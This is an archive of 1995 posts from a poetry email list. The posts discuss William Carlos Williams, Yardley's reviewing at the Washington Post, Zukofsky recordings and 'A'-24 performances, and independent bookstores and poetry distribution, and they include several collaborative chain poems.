various things, jeffery, too much for here, but at least (1) unpack wcw's rhetoric: it trivializes much poetry. wcw "clarity" entails doing less, not better. (2) let's retire "avant-garde." see jackson mac low on this. it's a military line. -ed

↑ Index

567. **Edward Foster**
Re: you & an army of mixed metaphors and forgotten half-truths...
Mon 18 Sep 1995

---

as for emerson in wcw, yes, but reduced somewhat. thoreau, perhaps, in quality of attention. but rimbaud is the key, tho when he reached his paterson, he dealt in guns (true avant-garde) not medicine. wcw is less "american" than he'd think.

↑ Index

568. **Edward Foster**
(no subject)
Mon 18 Sep 1995

---

can't agree re: paterson; it's been bulldozed, urban renewal; wcw's city isn't any more than small new england towns, where bob is. oh, the envy. probably has a boat, too (it's maine), tho not rimbaud's. ya, wcw should've stayed there! -ed

↑ Index

569. **Edward Foster**
Re: you & what army
Mon 18 Sep 1995

---

now, it's asphodel! oh, lord, that's a tiresome poem, but such a grand gesture when you've spent your life cheating on the one you praise. talk about mending fences. too bad wcw wasn't catholic; the priest would've told him ya gotta do more.

↑ Index

570. **Edward Foster**
Re: you & whose army?
Mon 18 Sep 1995

---

ya still can't do it, burt, tho i recommend a good porter (ron porter?); we've been working on it, and we'll thro in a grape or two, for you. so how's the technology biz?

↑ Index

571. **Edward Foster**
Re: you & whose army?
Mon 18 Sep 1995

---

no, burt, nothing to do with relevance, nothing to do with being picked over.

↑ Index

572. **Aldon L. Nielsen**
Re: Yardarms, etc.
Mon 18 Sep 1995

---

hadn't known about Yardley's previous incarnation yet farther south -- in recent years he has sprouted an esitional, editorial column in addition to his book review page -- and both are increasingly given to neocon drivel of the most uninformed sort -- it's particularly depressing to find a long-time book pager so freqently making negative remarks about books he has not read -- It's one thing to profess an inability to "get" a particular genre (as I, for example, just don't get grunge -- find it, in fact, not that grungy) -- another thing to, as Yardley did (and David McAleavey did write a letter to the editor which was actually published explaining just what was found wanting in Mr, Y's logic at the time!) use such powers as a page columnist has to promote the idea that "nobody" knows what's good in poetry anymore (sound familiar? a bit corny, prehaps?) and that we'd all be better off just ignoring the stuff -- "esitional"?? try additional--

This was shortly after the LA Times had abandoned poetry reviewing, but they did begin to publish a poem in each week's book review, and have now, with no mention of their curious earlier editorial position, returned to the reviewing of verse --

My one and only experience reviewing poetry for the _WAsh Post__ wasn't encouraging -- they asked me to review books by Dove and Bronk -- which I did -- they then typoed a line in the Dove review so that instead of her line mentioning "gum popping" girls it read "gun popping" -- despite the fact that they had changed my correct copy, the POST printed no correction -- can't help

wondering if the proof-reading gnomes at the POST would have let such an error through if the line had made reference to young white girls -- maybe I'm paranoid, but my old colleague Sterling Brown used to tell his students "any black man who isn't paranoid is crazy!"

I have ever since dreaded meeting Ms. Dove for fear she will remember this and think it my mistake --

Yardley loves the work of Peter Taylor, with reason, and despises the likes of Don DeLillo, Joseph McElroy, etc. -- seems there is much he can't read --

I hereby volunteer to write a weekly review for the _Washington Post_ at half Yardley's salary --

↑ Index

573. Jorge Guitart
Re: Sheila, Chris & Jorge's Excellent Adventure
Mon 18 Sep 1995

On Sun, 17 Sep 1995, Sheila E. Murphy wrote:

> >SEM-CC-JG BRANCH 9/18/95
> >
> >in the books were dreams and in the dreams were
> >books.And flew > >> >>> >>
> >> >> >>> >> (...)
> >> >> >>> >>
> >> >> >>> >>> >spending the bulk of closure with sentient scoops
> >> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
> >> >> >>> >> say that the center cannot hold the nose tackle much longer
> >> >> >>> >than a clam can sleeve out of incarceration baldly
> >> >> >>> go where others fear to operate the biggest donors hive
> >> >> >>> & where Mars collides with the small world of "It's a small world"
> >> >> >ripe for macroscopes to pump or slice or butterfly away
> >> >> from that ardent bugged heliotrope and pledge allegiance through
> >> > ostension--we stopped short of the shortstop stigmata
> >> this time pencilled in as tangly wisps instead of memory
> > detonations: but don't forget to dismember the doloroso
> pitchpipe with its squeal subtracted and the dotted-line relationships
and sing "I Love Time but I love Your Spatial Simulacra Much More"

↑ Index

574. Jorge Guitart
Re: Sheila, Chris & Jorge's Excellent Adventure
Mon 18 Sep 1995

On Sun, 17 Sep 1995, Sheila E. Murphy wrote:

> *SEM-CC-JG BRANCH 9/18/95*
>
> *in the books were dreams and in the dreams were*
> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *hollering newmown platitudes to headsets painted blue and waffle colored*
> *earth colored fire colored i have this thing against water colored*

↑ Index

575. Edward Foster
Re: hearing Zukofsky
Mon 18 Sep 1995

hank: how about the NET (c. 1965) program on z. i figure sf state has a tape of it.

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576. Charles Watts
Re: hearing Zukofsky
Mon 18 Sep 1995

I know of two recordings of Zukofsky that are commercially available, Hank. One is a video recording, from the NET Outtake series from _USA: Poetry_, produced by KQED in San Francisco 1965-66. It includes parts of "A"-9, a section from "Catullus," a discussion of James Joyce, Whitman, Pound and Bunting; I've seen it -- shown it at the Western Front here in Vancouver -- it's wonderful; it's a half hour on 3/4" video, available from The American Poetry

Archives, The Poetry Center, San Francisco State University, 1600 Holloway Ave., San Francisco CA 94132, tel [redacted]. The tape is available for sale at $125 plus shipping & tax; or for rent at $15 per public showing + shipping & tax.

There's also an audio tape from Spoken Arts, Inc., in the "Spoken Arts Treasury of American Jewish Poets Reading Their Poems." The tape with Zukofsky on it is Volume II, and also features Lenore Marshall, Stanley Kunitz, Hy Sobiloff, and Karl Shapiro. Zukofsky reads "A"-12, "Spooks Sabbath," "Songs of Degree," "Nor Did the Prophet," "As to How Much," "An Incident," "The Record," "Song 22," and "Mantis." Write to Spoken Arts, Inc., Box 289, New Rochelle, NY 10801. I don't know how much, but it's a cassette tape; I doubt it's much.

Herb, a Vancouver group called the Cassation Group did some performances of "A"-24 in the late eighties both here at SFU and at the Western Front. So far as I know, it wasn't recorded at SFU unless the group did it themselves; but may have been recorded at the Front; I'll try to check.

Ron, didn't a group including Barrett Watten do a performance in SF?

Best,

Charles Watts

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577. George Bowering
Re: you & why an army?
Mon 18 Sep 1995

I still dont get Foster's point. Why is WCW dissed as boring because he lived in an earlier time? Like, when do we cut poets off our reading list? When trolley cars were no longer? 30 years after the poet's death? Does a middling poet get points up because she can fog a mirror with breath? I'm going thru my Earlier Collected Poems and updating Williams's poems now. I have him driving a 1989 Toyota Tercel.

↑ Index

578. George Bowering
Re: spike it with saussure - begins the intramix...
Mon 18 Sep 1995

On sep 18 Hortense Callisher wrote:>
> oN Sep 15 Jorge Guitart wrote:
>
> On Thu, 14 Sep 1995, Thomas Bell wrote:

In the books were dreams and in the dreams were books.
incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
glowering from yon poetry magazine, fish on their breath,

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579. **David McAleavey**
Re: Yardarms, etc.
Mon 18 Sep 1995

Al Nielsen is kind to recall my earlier response to Yardley's earlier popping of his gums. I was tempted to go through the process again this time, but finally was deterred by my recollecting that all the _Post_ cares about is agitating its readers -- I don't think it matters to them what Yardley's opinions are; if he gets attention, he has won. Now if Mark and I can only figure out a way to persuade the paper to send the guy back to his roots, wherever they may be, maybe Al you _could_ join us back here in this not-so-dull swamp!

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580. **Ron Silliman**
Re: hearing Zukofsky
Mon 18 Sep 1995

Let's see just how bad my memory is. Bob Perelman, I believe, produced a series of performances of "A"-24 in 1978. Steve Benson and Carla Harryman also participated. My visual memory tells me that one performance was at the Grand Piano, the coffee house series I ran with Tom Mandel, but others I believe were done at SF State and UC Davis. I recall being struck that the performances were more inspired than the score (but the theatrical in LZ--and CZ--has never been my meat: "Rudens" strikes me as the weakest section of "A").

One thing worth noting: the use of Handel made it impossible to perform the text "naturally" (it goes too slowly to be spoken), which brought forward the constructed nature of the language.

It was, as they say, a revelation.

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581. **Bill Luoma**
Re: hearing Zukofsky
Mon 18 Sep 1995

Herb,

A-24 was first performed, I believe, by Harryman, Watten, Hejinian and Kit Robinson in the early 80s. I used to have a tape of it which I walk-personed every day and night to learn the part of drama by heart. I believe Brad Westbrook, the curator at the UCSD archive for new poetry, got me the tape. Also, the SF State archive probably has a copy, as do the performing poets.

Anyway, he and I and two other folks (Becky Roberts & Chuck Cody) then performed A-24, once to a piano at the Pannikin in Del Mar and once to a harpsicard at Mandible Hall on campus, a few years after the high L-folks. Again, Brad is probably the best source of a recording of those pieces, as I appear to have lost my copies . . .

Bill Luoma

↑ Index

582. **Ron Silliman**
Re: hearing Zukofsky
Mon 18 Sep 1995

SF State has both audio and visual recordings. The visual ones are from Dick Moore's Poetry USA series. It was via this PBS series that I first heard of Zukofsky, was blown away (totally!) by him and rushed out to buy anything I could find at Cody's--which proved only to be the Robert Kelly/Paris Leary anthology (a pretty great book after all these years!), which in turn led to my first reading of Mac Low and a serious rethinking of Spicer (with a far better selection than in the Allen) and O'Hara's Biotherm in the smallest font size ever.

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583. **Charles Bernstein**
Distribution or Bust
Mon 18 Sep 1995

One of the few rules on [redacted] is that participants (lurkers and not) are requested to post news of their recent publications, together with information on how best to get these items. It has come to my attention that some of you are out-of-compliance with this "don't balk/must tell" rule. The fuller the listings (table of contents, etc) the better. If you are a publisher and editor and have new material on the EPC, it is still useful to post it on Poetics as well, since many of the subscribers either don't have Web access, don't use it, or

don't check new listings. This is may also be a way to compensate for the recurring distribution and bookstore problems discussed here.

On Bookstores: Problem with the New York bookstores discussed here is that even if they carry a new poetry book they rarely re-order, or re-order so erratically that you can never count on finding a book, even a recent book, in stock. This is why the sales rep system is so crucial, since the initial order of a new book is ultimately the one that will determine if the book gets any bookstore life in New York at all. So if you don't find a book, it's possible that it was ordered and sold out; the books in stock are often the ones that didn't sell. In the 70s and 80s, when I used to pester these stores to carry specific books and magazines, I always felt getting shelf space was like getting a gallery show; "naturally" places like Gotham and Books & Co. felt having the books in the store was enough, they certainly didn't have to pay you for what they sold too! (In my experience, St. Mark's always paid. But they were the exception.) At the same time, the real estate costs in New York are so high that it is _probably_ not possible to survive with the sort of commitments to poetry many of us look for in a bookstore; I say probably because people do manage to figure out how to do improbable things, as any number of our alternative poetry institutions show.

I don't buy books in New York, preferring to buy direct from the publishers, or from SPD, but most often from Talking Leaves Books (which in turn buys them from SPD). Talking Leaves remains my favorite poetry bookshop and I have been talking with the coop owners there about working directly with the Poetics list and EPC: setting up accounts, taking order via e-mail, and so on. So you should be hearing more about that soon (though as they are understaffed and have limited access to computer technology that this is taking longer than they would like). (In the meantime, they are happy to take orders by phone or mail: 3158 Main Street, Buffalo, NY 14214; [redacted]; fax--[redacted].) As has been noted by others on this list and off, bookstores like Talking Leaves and Woodland Pattern are always in danger and need the same sort of support we give to small presses and SPD and indeed other poets: we are all in it together.

The Internet and the Web are becoming increasingly central for poetry distribution, even if as yet many of the readers of the books often discussed on this list are not on-line. At this point, I see one of the primary values of the EPC and the Poetics List as facilitating the distribution of print books and magazines rather than (not as opposed to) making work available electronically. I see many parallels with the work I did on Segue's distribution catalog in the 70s and 80s and the work on the EPC now. We can't afford to have the Net "replacing" bookstores, publishers and distributors that support new and "alternative" poetry: that would be a net loss, indeed. We have to find way to

use the Net to help these institutions survive. To this end, listings and short reviews/discussions on Poetics of new work become a mode of distribution.

About 15 years ago my continually new friend Cris Cheek prepared, on his manual typewriter, an extensive list of UK small press publications, carefully annotated with prices and address, issued as supplement #2 of L=A=N=G=U=A=G=E. I'm reminded of that because the EPC and this list seem such a good place for the sort of exchange of information and ideas among the UK, US, New Zealand, Canada, and Australia. And while we talk about the lack of information between N. American poets and U.K. poets, it's been my sense that at least in the particular world represented by those of us "here" that, in a small way, this is beginning to take care of itself just as we talk about it.

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584. Stephen Galen Cope
Re: Distribution or Bust
Tue 19 Sep 1995

---

ok, i'll follow the rules

If you are interested in receiving
DIU, send a subscription request
which says SUBSCRIBE DIU-L your name
to [redacted]
you'll be asked to confirm this request
detailed instructions are given
still performing via
the logic of snowflakes of given
season.

all DIU transmissions archived at the
Electronic Poetry Center on the University at Buffalo
Web-server: http://writing.upenn.edu/epc/ezines/diu

contribute to DIU via e-mail to [redacted]

thank you!

-and-

'Only A Cage Should Be In A Cage' by H.D. Moe
is the most recent publication
from We Press available for $7 from

We Press
POBox 1503

Santa Cruz, CA 95061
[redacted]

Thanks!

-Stephen Cope

ps- hope this isn't all repeat...

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585. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Tue 19 Sep 1995

>oN Sep 15 Jorge Guitart wrote:
>
>On Thu, 14 Sep 1995, Thomas Bell wrote:
>
>> >In the books were dreams and in the dreams were books.
>> incorporating the end of timewarps and troves treasured
>> the mercator projection of horniness and thou; for thou is
>Wow! What a catch! Yowza! Incorporating the dead heroes
who pester as obsession or a hobby or as fraction of a prayer

↑ Index

586. **Blair Seagram**
St Marks not dead yet
Tue 19 Sep 1995

On Saturday 16 September, Tenney Nathanson wrote:

too bad about St. Marks. There was a period in the eighties when it was just amazing: small stock, but nothing you didn't want to buy & read; lots of stuff not available or not prominently displayed in much bigger bookstores.

MIght be worth one more try before writing off. Actually I always found Gotham kind of fustian and annoying....

Dear Tenney:

I may rant about St Marks Bookshop but it in no way means I will not return, even though it may be some months before I do so. If, for instance, I wanted a book by Bernadette Mayer, St Marks would be the first place I would check, which may be a mark of my ignorance, I don't know.

That said, if I had been treated with a little more civility, I may have stayed around, checked out, and possibly purchased other books in the store, which would have benefited St Marks, the authors they carry, and me.

I should also mention that when St Marks was located around the corner, in their old location, it felt better to be there. I congratulate them on there expansion, but frankly, the new store doesn't grab me the way the old one did.

Today I ordered "Bottom: on Shakespeare" from Gotham. They were quick on the uptake, and I don't much feel like changing my position on them, but I will say they did seem to rush me through my order. Maybe I had your comment in mind.

Best wishes,

blair

↑ Index

587. Sheila E. Murphy

Re: spike it with saussure - begins the intramix...

Tue 19 Sep 1995

> On sep 18 Hortense Callisher wrote:>
>> oN Sep 15 Jorge Guitart wrote:
>>
>> On Thu, 14 Sep 1995, Thomas Bell wrote:
>
>In the books were dreams and in the dreams were books.
>incorporating the end of timewarps and troves treasured
>the mercator projection of horniness and thou; for thou is
>Wow! What a catch! Yowza! Incorporating the dead heroes
>glowering from yon poetry magazine, fish on their breath,
attachments lingering toward broadcast, all privacy a heavy (breathy) minus sign

↑ Index

588. Rod Smith

Re: Yardarms, etc.

Tue 19 Sep 1995

Posted on: America Online (using MAC)

D.G. wrote:
>And on a trip to Philadelphia a couple of days ago, Borders had: two
>Coolidge, three Hejinian (I picked up THE CELL, which I find perfect),

>one each of Raworth, Perelman, S. Howe, R. Waldrop, Jabes, etc.
Admittedly all Sun & Moon (but for the Perelman?), but still
>very
nice. A

I work in a store which carries pretty much everything in print by all of the authors mentioned above (maybe not Coolidge, but we do have space limitations, i.e. 12 of his books may be enough). By L.Z. we have Bottom, the Collected Shorter, A, & L.Z.: Man & Poet. Borders buys in bulk, they made a decision to sell SUN & MOON, not any of their authors. It's a question of one person, in this case me, giving a damn & showing, over time, that poetry will be supported when made available. The reason St Mark's isn't what they were is they lost their small press buyer in '88. I'd still go there over Borders or B.&N. no matter how grouchy the guy in the back is-- & I'm pretty sure I've encountered him, similar vibe to the bartender at the Ear. But are you REALLY a New Yorker if you're not creatively rude on a fairly regular basis. Back to business-- I think it's increasingly clear the corporations are winning-- we'll all be making $4.26 an hour soon enough.

Have to disagree w/ David M. about Yardley, he wrote:
>all the _Post_
cares about is agitating its readers -- I don't think it matters >to them
what Yardley's opinions are; if he gets attention, he >has won.
Of course you're right that they know he'll make some mainstream readers of fiction/poetry mad, but I can't imagine them hiring say, Angela Davis, or A.L. Nielsen for that matter, to write on literature just because they'd "get attention."

For those curious abt the store mentioned above:
it's Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.
Ph-- [redacted], e-mail orders to me.

--Rod

↑ Index

589. **Sheila E. Murphy**
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
>
>> >>SEM-CC-JG BRANCH 9/18/95
>> >>
>> >>in the books were dreams and in the dreams were
>> >>books.And flew > >> >>> >>

>> >>> >> >>> >> (...)
>> >>> >> >>> >>
>> >>> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >>> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >>> >> >>> >> say that the center cannot hold the nose tackle much longer
>> >>> >> >>> >than a clam can sleeve out of incarceration baldly
>> >>> >> >>> go where others fear to operate the biggest donors hive
>> >>> >> >>> & where Mars collides with the small world of "It's a small world"
>> >>> >> >ripe for macroscopes to pump or slice or butterfly away
>> >>> >> from that ardent bugged heliotrope and pledge allegiance through
>> >>> > ostension--we stopped short of the shortstop stigmata
>> >>> this time pencilled in as tangly wisps instead of memory
>> >> detonations: but don't forget to dismember the doloroso
>> >I left in the rain by mistake whilst on business vocation
>> hollering newmown platitudes to headsets painted blue and waffle colored
>> earth colored fire colored i have this thing against water colored therefore elemental-painted playthings cost a dear shined copper looking

↑ Index

590. **Sheila E. Murphy**

Re: Sheila, Chris & Jorge's Excellent Adventure

Tue 19 Sep 1995

JG wrote:
>On Sun, 17 Sep 1995, Sheila E. Murphy wrote:
>
>> >SEM-CC-JG BRANCH 9/18/95
>> >
>> >in the books were dreams and in the dreams were
>> >books.And flew > >> >>> >>
>> >> >> >>> >> (...)
>> >> >> >>> >>
>> >> >> >>> >>> >spending the bulk of closure with sentient scoops
>> >> >> >>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >> >> >>> >> say that the center cannot hold the nose tackle much longer
>> >> >> >>> >than a clam can sleeve out of incarceration baldly
>> >> >> >>> go where others fear to operate the biggest donors hive

>> >> >> >>> & where Mars collides with the small world of "It's a small world"
>> >> >> >ripe for macroscopes to pump or slice or butterfly away
>> >> >> from that ardent bugged heliotrope and pledge allegiance through
>> >> > ostension--we stopped short of the shortstop stigmata
>> >> this time pencilled in as tangly wisps instead of memory
>> > detonations: but don't forget to dismember the doloroso
>> pitchpipe with its squeal subtracted and the dotted-line relationships
>and sing "I Love Time but I love Your Spatial Simulacra Much More"
for the brevity inferred and for the latchkey touch more like a feather drizzling

↑ Index

591. **Blair Seagram**
typo on St Marks
Tue 19 Sep 1995

I congratulate them on there expansion.

Whoops, that should be 'their' expansion

↑ Index

592. **Aldon L. Nielsen**
Re: Zuk et al
Tue 19 Sep 1995

Hank -- if you go for the _Treasury of American Jewish Poets_ get the whole set -- it also includes Stein and Reznikoff on other tapes in the set -- well worth having to listen to the likes of Hy Sobiloff to get to these! The set was originally distributed by Spoken Arts Inc. -- but is also available through other distribution agencies -- also worth your while is the Watershed Oppen tape, circa 1979 -- some univ. libraries have these tapes -- so look close to home before buying --

↑ Index

593. **Aldon L. Nielsen**
Re: WCW Trolley
Tue 19 Sep 1995

---

well, you may recall that the tracks were all ripped up by the tire companies in conspiracy with GM -- & look where that has gotten us -- now major cities everywhere are re-introducing the trolley -- just when you thought it was good only for getting tourists from one quaint photo op to another!

Not that you'd want to _live_ on a trolley -- but it will get you where you need to go faster than you can say "Marianne Moore."

↑ Index

594. Thomas Bell
Dangerous poets?
Tue 19 Sep 1995

In the 9/18 _New Yorker_ David Remnick asks (re: Ben Bradlee) "Who is interested in a 'dangerous' editor?" Dangerous here refers to not fitting in with the blandness and sameness of co-opted commercial media. While I do have my own thoughts on this, I would be interested in thoughts on:

What is a "dangerous" poet?

Who is the last one we've had?

Has that person had an effect on the way we live (or don't live)?

Possibly also of some interest in re: _Post_ ?review?

Tom
[redacted]

↑ Index

595. Thomas Bell
Re: Spike it
Tue 19 Sep 1995

On Sep 18 Sheila Murphypemned

>oN Sep 15 Jorge Guitart wrote:
>
>On Thu, 14 Sep 1995, Thomas Bell wrote:
>
>> >In the books were dreams and in the dreams were books.
>> incorporating the end of timewarps and troves treasured
>> the mercator projection of horniness and thou; for thou is
>Wow! What a catch! Yowza! Incorporating the dead heroes
>who pester as obsession or a hobby or as fraction of a prayer
fractalized and enfolded into into times_The wraping ugly danger

↑ Index

596. R I Caddel
Re: Pergolesi
Tue 19 Sep 1995

I wonder who else has picked this up while I lay sleeping...

Pergolesi (1710-36) certainly lived at the time of "high baroque" composition, and yes, he outlined chordal (harmonic) structures in his melodies - but who doesn't? It's damned difficult not to. I'd say that the way he stripped down the counterpoint (one of the defininging elements of, say, Bach Handel or Scarlatti) to a bare minimum, and supported his tunes with almost Phil Spector block harmony, places him closer to the early classical composers.

Who in fact rated him very highly, years after his death. People tell me that the claims made for his "Stabat Mater" are extravagant: but to hell with them - there's a brooding, melodramatic religious depth in it which I'm a sucker for, and which you don't get again until Mozart's big c minor mass (also driven by Italian opera) at the end of the eighteenth century.

Of course, there's a lot of other stuff which doesn't fit that pattern - early work (! in a very short career) and chamber music which are far more run-of-the-mill. I seem to recall there are some concerti grossi which have just been ascribed to him which Vivaldi would've killed for...

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

597. Gwyn McVay
publications/anagram
Tue 19 Sep 1995

AGAINST FORGETTING (the anthology) anagrams to "stinging a frog teat."

↑ Index

598. Jorge Guitart
Re: be advised: wcw qtd in this renga
Tue 19 Sep 1995

On Sun, 17 Sep 1995, Sheila E. Murphy wrote:

> >On Sun, 17 Sep 1995, George Bowering wrote:
> >
> >> In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The rook to the knight here by King's Bishop Three
> >> Something has changed in the nature of friendship
> >> But wouldn't you know it, Mrs. Mullett next in line
> >> For food stamps, quints racing about the linoleum
> >> Everything leans on the verb, falling, sighs
> >> Twelve at least, one loves only firm, and firm
> >> feels good to her it feels real good, & the corset
> blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital

↑ Index

599. **Jorge Guitart**

Re: spike it with saussure - begins the intramix...

Tue 19 Sep 1995

On Sun, 17 Sep 1995, Thomas Bell wrote:

> oN Sep 15 Jorge Guitart wrote:
>
> On Thu, 14 Sep 1995, Thomas Bell wrote:
>
> > >In the books were dreams and in the dreams were books.
> > incorporating the end of timewarps and troves treasured
> > the mercator projection of horniness and thou; for thou is
> Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara

↑ Index

600. **Jorge Guitart**

Re: Sheila, Cris & Jorge's Excellent Adventure

Tue 19 Sep 1995

> *SEM-CC-JG BRANCH 19/9/95 J adding to C adding to S*
> *in the books were dreams and in the dreams were books.And flew*
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*

> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop's stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *the night I told you to stop referring to me as Ontology Boy*
> *and you replied all shrouded in epistemology that it was glue we lacked*
> *"ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, I'm all stuck*
> *in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker*

↑ Index

601. **Jorge Guitart**

Re: Sheila, Chris & Jorge's Excellent Adventure

Tue 19 Sep 1995

> *SEM-CC-JG BRANCH 9/19/95 adding to S*
>
> *in the books were dreams and in the dreams were*
> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
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> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *hollering newmown platitudes to headsets painted blue and waffle colored*
> *earth colored fire colored i have this thing against water colored*
> *therefore elemental-painted playthings cost a dear shined copper looking*
> *for false grit and the dogma of autonomous syntaxis overwhelmed them*

↑ Index

602. Jorge Guitart
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

> *SEM-CC-JG BRANCH 9/19/95 J adding to S*
>
> *in the books were dreams and in the dreams were*
> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *pitchpipe with its squeal subtracted and the dotted-line relationships*
> *and sing "I Love Time but I love Your Spatial Simulacra Much More"*
> *for the brevity inferred and for the latchkey touch more like a feather*
> *drizzling blood of picklet beet all over the related phenomena*

↑ Index

603. Jorge Guitart
Re: Spike it
Tue 19 Sep 1995

On Mon, 18 Sep 1995, Thomas Bell wrote:

> On Sep 18 Sheila Murphypemned
>
> >oN Sep 15 Jorge Guitart wrote:
> >
> >On Thu, 14 Sep 1995, Thomas Bell wrote:
> >
> >> >In the books were dreams and in the dreams were books.
> >> incorporating the end of timewarps and troves treasured
> >> the mercator projection of horniness and thou; for thou is
> >Wow! What a catch! Yowza! Incorporating the dead heroes
> >who pester as obsession or a hobby or as fraction of a prayer

> fractalized and enfolded into into times_The wraping ugly danger
 of anaphoric dependence in "Arthur the Rat", the half a dozen

↑ Index

604. Teachers & Writers
Re: Sheila, Chris & Jorge's Excellent Adventure
Tue 19 Sep 1995

> *SEM-CC-JG BRANCH 9/18/95*
>
> *in the books were dreams and in the dreams were*
> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
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> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *hollering newmown platitudes to headsets painted blue and waffle colored*
> *earth colored fire colored i have this thing against water colored*
> *hive ravenous piers for tattle I teach you as previous*

↑ Index

605. Eryque Gleason
Bookstores
Tue 19 Sep 1995

Borders and B&N are sucking the life out of the other bookstores here in chicago. In the last month, I think three independent stores and one chain (Crock's & Bretano's) have gone under.

For almost anything I want, I go to 57th St. books and the Seminary Co-op. Their selection of poetry isn't always the greatest, or evenly distributed (two weeks ago I saw a shelf that had about ten different titles by for too and about Ginsberg, one title by Ferlingetti), but they are always helpful and have never taken more than nine days to deliver something I've ordered.

_____!_____

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616
[redacted]

If I weren't a monkey, there'd be problems.

↑ Index

606. **Burt Kimmelman**

Re: you & an army of mixed metaphors and forgotten half-truths...

Tue 19 Sep 1995

---

ed,

couldn't you say just a few more words about how wcw's rhetoric trivializes much poetry?

burt

↑ Index

607. **Fred Muratori**

Re: Dangerous poets?

Tue 19 Sep 1995

> *What is a "dangerous" poet?*
>
> *Tom*
> [redacted]

Good question, but probably not very relevant in the U.S., where writers don't pose a real political or social threat the way they do in some other countries. Poets here are dangerous only to other poets.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
****

"Certain themes are incurable."
- Lyn Hejinian

↑ Index

608. **Herb Levy**
Distribution 'R' Us
Tue 19 Sep 1995

Two short thoughts on distribution:

Even in a city without a store like Woodland Pattern, Talking Leaves, Bridge Street, it still makes sense to find an independent local store and order through them.

Any small book store needs the business, even if they don't specialize in poetry. &, eventually, they will start to be more adventurous. Last week when I went to order the Joris/Rothenberg anthology I was told "Oh, I thought you'd want that when I saw it from the rep - I ordered a couple for stock too." Granted they'll never have the depth or breadth of a specialty shop, but they've learned that they can sell some things they didn't know about before, & that's the only way independent book stores can stay in business these days. & it beats going from Borders to Tower to Barnes & Noble, trying to second-guess this week's corporate policies any day.

Another thing that can increase the distribution of "this kind of" poetry is to make purchase requests at libraries.

They won't buy everything (& the selections can seem frustratingly arbitrary), but library buyers are overwhelmed with options & frequently just need an excuse to make a choice. If few people are requesting books (&, even at academic libraries, most people don't), you could make a real mark on a library's poetry collection. The University of Washington, where I just have an alumni borrowers card buys two-thirds to three-quarters of what I request, even though there's rarely any courses that deal with any of it. If everyone on this list did this, it'd increase sales by a significant number of copies & make the work available to lots more people without costing anyone "here" anything but a little extra time once a month or so.

Herb Levy
[redacted]

↑ Index

609. **Tenney Nathanson**
or or (the or or!? the or or!?)
Tue 19 Sep 1995

